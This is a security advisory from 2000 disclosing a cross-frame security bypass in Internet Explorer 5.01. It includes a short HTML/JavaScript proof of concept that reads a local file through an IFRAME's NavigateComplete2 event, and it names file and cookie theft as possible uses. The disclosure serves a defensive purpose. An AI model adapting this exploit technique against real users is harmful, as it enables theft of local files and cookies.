IE 5 Cross-frame security vulnerability using IFRAME and WebBrowser control
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or indirect
use of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.01 under Windows 98 (suppose all other versions
are also vulnerable) allows circumventing "Cross frame security policy"
by accessing the DOM of documents using JavaScript, IFRAME and WebBrowser
control.
This exposes the whole DOM of the target document and opens lots of
security risks.
This allows reading local files, reading files from any host, window
spoofing, getting cookies, etc.
Details:
IFRAME seems to be some kind of wrapper of the WebBrowser control and
its events may be captured.
The problem is the NavigateComplete2 event, which when fired, passes
an argument of WebBrowser control.
The WebBrowser control has an accessible property "document" that allows
access to the DOM of the target document.
Note: this is a similar vulnerability to the one discovered by Andrew
Nosenko (which is already fixed):
http://www.ntsecurity.net/go/loader.asp?iD=/security/ie5-17.htm (could
not find a better link)
The code is:
------frame2.html--------------------------------
<IFRAME ID="I1"></IFRAME>
<SCRIPT for=I1 event="NavigateComplete2(b)">
alert("Here is your file:\n"+b.document.body.innerText);
</SCRIPT>
<SCRIPT>
I1.navigate("file://c:/test.txt");
setTimeout('I1.navigate("file://c:/test.txt")',1000);
</SCRIPT>
---------------------------------------------------
Demonstration is available at: http://www.guninski.com/frame2.html
Workaround: Disable Active Scripting
Copyright 2000 Georgi Guninski